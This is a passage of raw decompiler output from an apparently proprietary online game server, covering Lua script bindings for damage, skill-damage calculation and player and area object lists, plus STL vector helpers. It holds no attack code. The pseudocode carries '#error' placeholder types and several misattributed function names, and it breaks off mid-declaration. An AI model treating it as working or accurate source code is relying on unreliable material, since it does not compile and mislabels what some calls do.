= -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetTargetList"); result = 0; } return result; } // 67F5A4: using guessed type int (__stdcall *AxialListEnemyInAray___vftable_)(int, int, int distancesquar); //----- (005A7FE0) -------------------------------------------------------- int __cdecl cDamaged(lua_State *L) { long double v1; // st7@1 int v2; // esi@1 unsigned int v3; // ebx@3 long double v5; // st7@7 #593 *v6; // edi@7 int v7; // eax@10 bool v8; // cf@10 bool v9; // zf@10 int v10; // eax@10 int v11; // eax@11 char *v12; // edi@13 int v13; // ST04_4@13 int v14; // eax@13 AxialListPacketBroadcast alchat; // [sp+30h] [bp-18h]@11 int v16; // [sp+44h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cDamaged"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cDamaged"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; v1 = lua_tonumberx(L, 1, 0); v2 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); if ( !v2 ) { v16 = -1; LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cDamaged"); return 0; } v3 = (unsigned __int64)lua_tonumberx(L, 2, 0); if ( !v3 ) { v16 = -1; goto LABEL_5; } if ( lua_isnumber(L, 3) ) { v5 = lua_tonumberx(L, 3, 0); v6 = ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v5); if ( !v6 ) { --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cDamaged"); return 0; } v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1252))(v2); v8 = v7 < v3; v9 = v7 == v3; v10 = *(_DWORD *)v2; if ( v8 | v9 ) { v11 = (*(int (__thiscall **)(int, _DWORD, _DWORD))(v10 + 1252))(v2, 0, 0); ((void (__thiscall *)(int, #593 *, int))alchat.baseclass_0.vfptr[366].ali_Work)(v2, v6, v11); } else { (*(void (__thiscall **)(int, #593 *, unsigned int, signed int, signed int))(v10 + 1468))(v2, v6, v3, 1000, 1); } } else { (*(void (__thiscall **)(int, unsigned int))(*(_DWORD *)v2 + 1276))(v2, v3); } v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9276; *((_WORD *)v12 + 1) = AxialListNearGateFind::alngf_Gethandle(v2); *((_DWORD *)v12 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1252))(v2); *((_WORD *)v12 + 4) = v3; *((_WORD *)v12 + 5) = 345; *((_WORD *)v12 + 6) = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2024))(v2); v12[14] = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 15); LOBYTE(v16) = 1; v13 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v2); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v14, v13, 0, 0, (int)&alchat, 1, 65535); lua_pushnumber(L, 1.0); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cDamaged"); return 1; } //----- (005A8240) -------------------------------------------------------- int __cdecl cSkillDamageCalculate(lua_State *L) { unsigned int *v1; // ebx@1 long double v2; // st7@1 int v3; // esi@1 int result; // eax@2 long double v5; // st7@3 const char *v6; // eax@4 unsigned int v7; // eax@5 SkillDataBox::SkillDataIndex *v8; // edi@6 const char *v9; // eax@9 const char *v10; // ebx@9 int v11; // edi@9 const char *v12; // esi@9 signed int v13; // ecx@9 bool v14; // zf@9 int v15; // edi@14 const char *v16; // esi@14 signed int v17; // ecx@14 bool v18; // zf@14 int v19; // edi@19 const char *v20; // esi@19 signed int v21; // ecx@19 bool v22; // zf@19 int v23; // edi@24 const char *v24; // esi@24 signed int v25; // ecx@24 bool v26; // zf@24 int v27; // edi@29 const char *v28; // esi@29 signed int v29; // ecx@29 bool v30; // zf@29 int v31; // edi@34 const char *v32; // esi@34 signed int v33; // ecx@34 bool v34; // zf@34 char v35; // al@41 int v36; // eax@45 RulesOfEngagementVtbl *v37; // eax@45 SKILL_EMPOWER emp; // [sp+20h] [bp-74h]@45 FunctionEntarance _; // [sp+24h] [bp-70h]@1 int v40; // [sp+28h] [bp-6Ch]@1 SkillDataBox::SkillDataIndex *sdi; // [sp+2Ch] [bp-68h]@6 unsigned int skl; // [sp+30h] [bp-64h]@5 #593 *damage; // [sp+34h] [bp-60h]@3 SkillDamageParameterAtScript param; // [sp+38h] [bp-5Ch]@8 EngageArgument engarg; // [sp+50h] [bp-44h]@45 int v46; // [sp+90h] [bp-4h]@1 _.fe_FunctionCode = "cSkillDamageCalculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cSkillDamageCalculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cSkillDamageCalculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = 0; v46 = 0; v2 = lua_tonumberx(L, 1, 0); v3 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v2); v40 = v3; if ( v3 && (v5 = lua_tonumberx(L, 3, 0), (damage = ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v5)) != 0) && (v6 = lua_tolstring(L, 2, 0)) != 0 && (v7 = BTree::operator__(&skillnametree, v6), skl = v7, v7 != -1) ) { v8 = SkillDataBox::operator__(&skilldatabox, v7); sdi = v8; if ( !v8 ) goto LABEL_48; if ( lua_type(L, 4) == 5 ) { param.MH = 0; param.MaxMA = 0; param.MinMA = 0; param.TH = 0; param.MaxWC = 0; param.MinWC = 0; lua_pushnil(L); if ( lua_next(L, 4) ) { do { v9 = lua_tolstring(L, -2, v1); v10 = v9; v11 = (int)"MinWC"; v12 = v9; v13 = 6; v14 = 1; do { if ( !v13 ) break; v14 = *v12++ == *(_BYTE *)v11++; --v13; } while ( v14 ); if ( v14 ) { param.MinWC = (unsigned __int64)lua_tonumberx(L, -1, 0); } else { v15 = (int)"MaxWC"; v16 = v9; v17 = 6; v18 = 1; do { if ( !v17 ) break; v18 = *v16++ == *(_BYTE *)v15++; --v17; } while ( v18 ); if ( v18 ) { param.MaxWC = (unsigned __int64)lua_tonumberx(L, -1, 0); } else { v19 = (int)"TH"; v20 = v9; v21 = 3; v22 = 1; do { if ( !v21 ) break; v22 = *v20++ == *(_BYTE *)v19++; --v21; } while ( v22 ); if ( v22 ) param.TH = (unsigned __int64)lua_tonumberx(L, -1, 0); } } v23 = (int)"MinMA"; v24 = v10; v25 = 6; v26 = 1; do { if ( !v25 ) break; v26 = *v24++ == *(_BYTE *)v23++; --v25; } while ( v26 ); if ( v26 ) { param.MinMA = (unsigned __int64)lua_tonumberx(L, -1, 0); } else { v27 = (int)"MaxMA"; v28 = v10; v29 = 6; v30 = 1; do { if ( !v29 ) break; v30 = *v28++ == *(_BYTE *)v27++; --v29; } while ( v30 ); if ( v30 ) { param.MaxMA = (unsigned __int64)lua_tonumberx(L, -1, 0); } else { v31 = (int)"MH"; v32 = v10; v33 = 3; v34 = 1; do { if ( !v33 ) break; v34 = *v32++ == *(_BYTE *)v31++; --v33; } while ( v34 ); if ( v34 ) param.MH = (unsigned __int64)lua_tonumberx(L, -1, 0); } } lua_settop(L, -2); v1 = 0; } while ( lua_next(L, 4) ); v3 = v40; v8 = sdi; } v35 = (*(int (__thiscall **)(int, SkillDamageParameterAtScript *))(*(_DWORD *)v3 + 3060))(v3, ¶m); } else { v35 = (*(int (__thiscall **)(int, unsigned int))(*(_DWORD *)v3 + 3056))(v3, skl); } if ( v35 ) { emp._bf0 = (signed __int16)v1; v36 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v3); EngageArgument::EngageArgument(&engarg, (#593 *)v3, damage, v8, &emp, (SHINE_XY_TYPE *)v36, 1.0); v37 = v8->sdi_DamageRule->vfptr; LOBYTE(v46) = 1; damage = (#593 *)((int (__stdcall *)(EngageArgument *))v37->roe_CalcDamage)(&engarg); lua_pushnumber(L, (double)(signed int)damage); LOBYTE(v46) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&engarg); v46 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } else { LABEL_48: v46 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { --funcallanalizer.fca_stackpoint; v46 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cSkillDamageCalculate"); result = 0; } return result; } //----- (005A85B0) -------------------------------------------------------- #error "5A85B0: undefined or illegal type '#593' (funcsize=166)" //----- (005A87D0) -------------------------------------------------------- LuaFuncTrigger::TriggerUseItem *__cdecl std::copy_backward(LuaFuncTrigger::TriggerUseItem *_First, LuaFuncTrigger::TriggerUseItem *_Last, LuaFuncTrigger::TriggerUseItem *_Dest) { LuaFuncTrigger::TriggerUseItem *v3; // edx@1 LuaFuncTrigger::TriggerUseItem *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x48u); } return result; } //----- (005A8800) -------------------------------------------------------- LuaFuncTrigger::TriggerUseItem *__cdecl std::_Uninit_copy>(LuaFuncTrigger::TriggerUseItem *_First, LuaFuncTrigger::TriggerUseItem *_Last, LuaFuncTrigger::TriggerUseItem *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { LuaFuncTrigger::TriggerUseItem *v5; // edx@1 LuaFuncTrigger::TriggerUseItem *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x48u); ++v5; } return result; } //----- (005A8830) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(LuaFuncTrigger::TriggerUseItem *_First, unsigned int _Count, LuaFuncTrigger::TriggerUseItem *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x48u); v6 = (char *)v6 + 72; --v5; } while ( v5 ); } } //----- (005A8860) -------------------------------------------------------- void __thiscall AxialListObjectCollect::_AxialListObjectCollect(AxialListObjectCollect *this) { AxialListObjectCollect *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListObjectCollect::_vftable_; if ( this->aloc_List._Myfirst ) operator delete(this->aloc_List._Myfirst); v1->aloc_List._Myfirst = 0; v1->aloc_List._Mylast = 0; v1->aloc_List._Myend = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)v1); } // 67FE68: using guessed type int (__stdcall *AxialListObjectCollect___vftable_[3])(int, int, int distancesquar); //----- (005A88A0) -------------------------------------------------------- void __thiscall AxialListPlayerList::_AxialListPlayerList(AxialListPlayerList *this) { AxialListPlayerList *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListPlayerList::_vftable_; if ( this->alpl_PlayerList._Myfirst ) operator delete(this->alpl_PlayerList._Myfirst); v1->alpl_PlayerList._Myfirst = 0; v1->alpl_PlayerList._Mylast = 0; v1->alpl_PlayerList._Myend = 0; v1->alpl_PlayerList._Myfirst = 0; v1->alpl_PlayerList._Mylast = 0; v1->alpl_PlayerList._Myend = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)v1); } // 67FE6C: using guessed type int (__stdcall *AxialListPlayerList___vftable_[2])(int, int, int distancesquar); //----- (005A88F0) -------------------------------------------------------- void __thiscall AxialListAreaObjectList::_AxialListAreaObjectList(AxialListAreaObjectList *this) { AxialListAreaObjectList *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListAreaObjectList::_vftable_; if ( this->alaol_ObjectList._Myfirst ) operator delete(this->alaol_ObjectList._Myfirst); v1->alaol_ObjectList._Myfirst = 0; v1->alaol_ObjectList._Mylast = 0; v1->alaol_ObjectList._Myend = 0; v1->alaol_ObjectList._Myfirst = 0; v1->alaol_ObjectList._Mylast = 0; v1->alaol_ObjectList._Myend = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)v1); } // 67FE70: using guessed type int (__stdcall *AxialListAreaObjectList___vftable_)(int, int, int distancesquar); //----- (005A8940) -------------------------------------------------------- LuaFuncTrigger::TriggerUseItem *__thiscall std::vector>::_Ufill(std::vector > *this, LuaFuncTrigger::TriggerUseItem *_Ptr, unsigned int _Count, LuaFuncTrigger::TriggerUseItem *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (005A8970) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, LuaFuncTrigger::TriggerUseItem *_Val) { std::vector > *v4; // ebx@1 LuaFuncTrigger::TriggerUseItem *v5; // edi@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 int v8; // eax@5 int v9; // eax@10 int v10; // ecx@14 int v11; // eax@17 void *v12; // edi@21 LuaFuncTrigger::TriggerUseItem *v13; // eax@21 LuaFuncTrigger::TriggerUseItem *v14; // ecx@21 int v15; // eax@21 unsigned int v16; // esi@23 ItemTotalInformation *v17; // eax@23 LuaFuncTrigger::TriggerUseItem *v18; // ecx@26 int v19; // eax@26 LuaFuncTrigger::TriggerUseItem *v20; // ecx@27 LuaFuncTrigger::TriggerUseItem *v21; // ST20_4@27 void *v22; // eax@27 char *v23; // esi@27 LuaFuncTrigger::TriggerUseItem *v24; // eax@28 LuaFuncTrigger::TriggerUseItem *v25; // ecx@28 int v26; // [sp+0h] [bp-78h]@1 ItemAttributeClass *cookie; // [sp+Ch] [bp-6Ch]@1 LuaFuncTrigger::TriggerUseItem *_Last; // [sp+10h] [bp-68h]@21 LuaFuncTrigger::TriggerUseItem *_Ptr; // [sp+14h] [bp-64h]@21 void *_Newvec; // [sp+18h] [bp-60h]@21 LuaFuncTrigger::TriggerUseItem _Tmp; // [sp+1Ch] [bp-5Ch]@1 unsigned int v32; // [sp+64h] [bp-14h]@1 int *v33; // [sp+68h] [bp-10h]@1 int v34; // [sp+74h] [bp-4h]@1 int v35; // [sp+78h] [bp+0h]@1 v4 = this; v32 = (unsigned int)&v35 ^ __security_cookie; v33 = &v26; cookie = (ItemAttributeClass *)this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v6 = 0; v34 = 0; if ( v5 ) { v7 = (signed int)((unsigned __int64)(954437177i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[599].esc_skill.buffer[-v8 + 6623] < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v18 = v4->_Mylast; v19 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 72; _Newvec = v4->_Mylast; if ( v19 >= _Count ) { _Last = &v18[-_Count]; v24 = std::_Uninit_copy>( &v18[-_Count], v18, v18, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v25 = _Last; v4->_Mylast = v24; std::copy_backward( *(LuaFuncTrigger::TriggerUseItem **)&_Where, v25, (LuaFuncTrigger::TriggerUseItem *)_Newvec); std::fill( *(LuaFuncTrigger::TriggerUseItem **)&_Where, (LuaFuncTrigger::TriggerUseItem *)(*(_DWORD *)&_Where + 72 * _Count), &_Tmp); } else { _Newvec = (void *)(72 * _Count); std::_Uninit_copy>( *(LuaFuncTrigger::TriggerUseItem **)&_Where, v18, (LuaFuncTrigger::TriggerUseItem *)(*(_DWORD *)&_Where + 72 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(72 * _Count)); v20 = v4->_Mylast; v21 = v4->_Mylast; LOBYTE(v34) = 3; std::vector>::_Ufill( v4, v21, _Count - (signed int)((char *)v20 - *(_DWORD *)&_Where) / 72, &_Tmp); v22 = _Newvec; v23 = (char *)_Newvec + (unsigned int)v4->_Mylast; v4->_Mylast = (LuaFuncTrigger::TriggerUseItem *)v23; std::fill( *(LuaFuncTrigger::TriggerUseItem **)&_Where, (LuaFuncTrigger::TriggerUseItem *)(v23 - v22), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[599].esc_skill.buffer[-(v6 >> 1) + 6623] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); _Last = (LuaFuncTrigger::TriggerUseItem *)(72 * v10); v12 = operator new(72 * v10); v13 = v4->_Myfirst; _Newvec = v12; _Ptr = (LuaFuncTrigger::TriggerUseItem *)v12; LOBYTE(v34) = 1; _Ptr = std::_Uninit_copy>( v13, *(LuaFuncTrigger::TriggerUseItem **)&_Where, (LuaFuncTrigger::TriggerUseItem *)v12, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)v12); std::_Uninit_fill_n>( _Ptr, _Count, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v14 = v4->_Mylast; _Ptr += _Count; std::_Uninit_copy>( *(LuaFuncTrigger::TriggerUseItem **)&_Where, v14, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v15 = (int)v4->_Myfirst; v34 = 0; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 72; v16 = v15 + _Count; v17 = (ItemTotalInformation *)v4->_Myfirst; if ( v17 ) { ShineObjectClass::ShineObject::so_ply_AdminCommand((ItemAttributeClass *)v4, v17, (char)v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (LuaFuncTrigger::TriggerUseItem *)((char *)_Last + (_DWORD)v12); v4->_Mylast = (LuaFuncTrigger::TriggerUseItem *)((char *)v12 + 72 * v16); v4->_Myfirst = (LuaFuncTrigger::TriggerUseItem *)v12; } } v34 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&_Tmp); } //----- (005A8C80) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 #593 **v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 #593 **v7; // ecx@7 #593 **v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (#593 **)v6; v2->_Mylast = (#593 **)v6; v2->_Myend = (#593 **)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (#593 **)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (005A8D26) -------------------------------------------------------- void __usercall _L190705(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int a2) { void *v2; // esi@1 char *v3; // ebx@2 int v4; // edx@3 void *result; // eax@6 #593 **v6; // ecx@7 int v7; // ebp@8 int v8; // eax@11 int v9; // eax@15 int v10; // eax@19 #593 **v11; // ebx@21 int v12; // ecx@24 int v13; // eax@25 v2 = this; if ( this == (void *)a2 ) return v2; v3 = *(char **)(a2 + 4); if ( !v3 || (v4 = (*(_DWORD *)(a2 + 8) - (signed int)v3) >> 2) == 0 ) { if ( *((_DWORD *)this + 1) ) operator delete(*((void **)this + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } v6 = (#593 **)*((_DWORD *)this + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 2; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { memmove((char *)v6, v3, 4 * ((*(_DWORD *)(a2 + 8) - (signed int)v3) >> 2)); v8 = *(_DWORD *)(a2 + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 4 * ((*(_DWORD *)(a2 + 8) - v8) >> 2); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) >> 2; else v9 = 0; if ( v4 > (unsigned int)v9 ) { if ( v6 ) operator delete(*((void **)v2 + 1)); v12 = *(_DWORD *)(a2 + 4); if ( v12 ) v13 = (*(_DWORD *)(a2 + 8) - v12) >> 2; else v13 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( *(char **)(a2 + 4), *(_DWORD *)(a2 + 8), *((char **)v2 + 1)); return v2; } if ( v6 ) v10 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 2; else v10 = 0; v11 = (#593 **)(*(_DWORD *)(a2 + 4) + 4 * v10); std::copy(*(#593 ***)(a2 + 4), v11, *((#593 ***)v2 + 1)); *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (char *)v11, *(_DWORD *)(a2 + 8), *((char **)v2 + 2)); return v2; } //----- (005A8E90) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, LuaFuncTrigger::TriggerUseItem *_Val) { std::vector > *v4; // edi@1 LuaFuncTrigger::TriggerUseItem *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(954437177i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (005A8F00) -------------------------------------------------------- void __thiscall AxialListObjectCollect::AxialListObjectCollect(AxialListObjectCollect *this) { AxialListObjectCollect *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListObjectCollect::_vftable_; v1->aloc_List._Myfirst = 0; v1->aloc_List._Mylast = 0; v1->aloc_List._Myend = 0; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListNPCSearch::AxialListNPCSearch"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNPCSearch::AxialListNPCSearch"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->aloc_List._Myfirst ) operator delete(v1->aloc_List._Myfirst); v1->aloc_List._Myfirst = 0; v1->aloc_List._Mylast = 0; v1->aloc_List._Myend = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNPCSearch::AxialListNPCSearch"); } // 67FE68: using guessed type int (__stdcall *AxialListObjectCollect___vftable_[3])(int, int, int distancesquar); //----- (005A8FC0) -------------------------------------------------------- void __thiscall AxialListPlayerList::AxialListPlayerList(AxialListPlayerList *this) { AxialListPlayerList *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListPlayerList::_vftable_; v1->alpl_PlayerList._Myfirst = 0; v1->alpl_PlayerList._Mylast = 0; v1->alpl_PlayerList._Myend = 0; v1->alpl_PlayerList._Myfirst = 0; v1->alpl_PlayerList._Mylast = 0; v1->alpl_PlayerList._Myend = 0; } // 67FE6C: using guessed type int (__stdcall *AxialListPlayerList___vftable_[2])(int, int, int distancesquar); //----- (005A9020) -------------------------------------------------------- std::vector > *__thiscall AxialListPlayerList::alpl_GetList(AxialListPlayerList *this, std::vector > *result) { std::vector>::vector>( result, &this->alpl_PlayerList); return result; } //----- (005A9040) -------------------------------------------------------- int __cdecl cGetPlayerList(lua_State *L) { const char *v1; // eax@1 void *v2; // eax@2 int v3; // eax@3 int v4; // esi@4 int v5; // eax@6 void *v6; // esi@8 int v7; // ebx@8 signed int v8; // ST18_4@10 char PlayerList; // [sp+1Ch] [bp-44h]@6 void *v10; // [sp+20h] [bp-40h]@6 unsigned int v11; // [sp+24h] [bp-3Ch]@6 int v12; // [sp+28h] [bp-38h]@6 std::vector > result; // [sp+2Ch] [bp-34h]@6 int alpl; // [sp+3Ch] [bp-24h]@6 void *p; // [sp+44h] [bp-1Ch]@11 int v16; // [sp+48h] [bp-18h]@13 int v17; // [sp+4Ch] [bp-14h]@13 int v18; // [sp+5Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGetPlayerList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGetPlayerList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; v1 = lua_tolstring(L, 1, 0); if ( v1 && (v2 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1)) != 0 ) { v4 = FieldMap::fm_GetCenterObject(v2); if ( v4 ) { v10 = 0; v11 = 0; v12 = 0; LOBYTE(v18) = 1; AxialListPlayerList::AxialListPlayerList((AxialListPlayerList *)&alpl); LOBYTE(v18) = 2; ShineObjectClass::ShineObject::so_AllInMap((void *)v4, (int)&alpl, 0); v5 = (int)AxialListPlayerList::alpl_GetList((AxialListPlayerList *)&alpl, &result); LOBYTE(v18) = 3; std::vector>::operator_( &PlayerList, v5); LOBYTE(v18) = 2; if ( result._Myfirst ) operator delete(result._Myfirst); v6 = v10; v7 = 0; result._Myfirst = 0; result._Mylast = 0; for ( result._Myend = 0; (unsigned int)v6 < v11; ++v7 ) { if ( !*(_DWORD *)v6 ) break; v8 = (unsigned __int16)AxialListNearGateFind::alngf_Gethandle(*(_DWORD *)v6); lua_pushnumber(L, (double)v8); v6 = (char *)v6 + 4; } LOBYTE(v18) = 1; alpl = (int)AxialListPlayerList::_vftable_; if ( p ) operator delete(p); p = 0; v16 = 0; v17 = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alpl); if ( v10 ) operator delete(v10); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetPlayerList"); v3 = v7; } else { --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetPlayerList"); v3 = 0; } } else { --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetPlayerList"); v3 = 0; } return v3; } // 67FE6C: using guessed type int (__stdcall *AxialListPlayerList___vftable_[2])(int, int, int distancesquar); //----- (005A9250) -------------------------------------------------------- #error "5A9250: undefined or illegal type '#1265' (funcsize=37)" //----- (005A92D0) -------------------------------------------------------- std::vector > *__thiscall AxialListAreaObjectList::alaol_GetList(AxialListAreaObjectList *this, std::vector > *result) { std::vector>::vector>( result, &this->alaol_ObjectList); return result; } //----- (005A92F0) -------------------------------------------------------- int __cdecl cGetAreaObjectList(lua_State *L) { const char *v1; // eax@1 int v2; // eax@2 void *v3; // eax@3 #1265 *v4; // esi@3 const char *v5; // eax@5 unsigned __int64 v6; // qax@7 int v7; // eax@7 void *v8; // esi@7 signed int v9; // ST20_4@9 int num; // [sp+18h] [bp-80h]@7 int v11; // [sp+1Ch] [bp-7Ch]@4 char ObjectList; // [sp+20h] [bp-78h]@7 void *p; // [sp+24h] [bp-74h]@7 unsigned int v14; // [sp+28h] [bp-70h]@7 int v15; // [sp+2Ch] [bp-6Ch]@7 FunctionEntarance _; // [sp+30h] [bp-68h]@1 std::vector > result; // [sp+34h] [bp-64h]@7 AxialListAreaObjectList alaol; // [sp+44h] [bp-54h]@7 char AreaName[4]; // [sp+64h] [bp-34h]@5 int v20; // [sp+68h] [bp-30h]@5 int v21; // [sp+6Ch] [bp-2Ch]@5 int v22; // [sp+70h] [bp-28h]@5 int v23; // [sp+74h] [bp-24h]@5 int v24; // [sp+78h] [bp-20h]@5 int v25; // [sp+7Ch] [bp-1Ch]@5 int v26; // [sp+80h] [bp-18h]@5 unsigned int v27; // [sp+84h] [bp-14h]@1 int v28; // 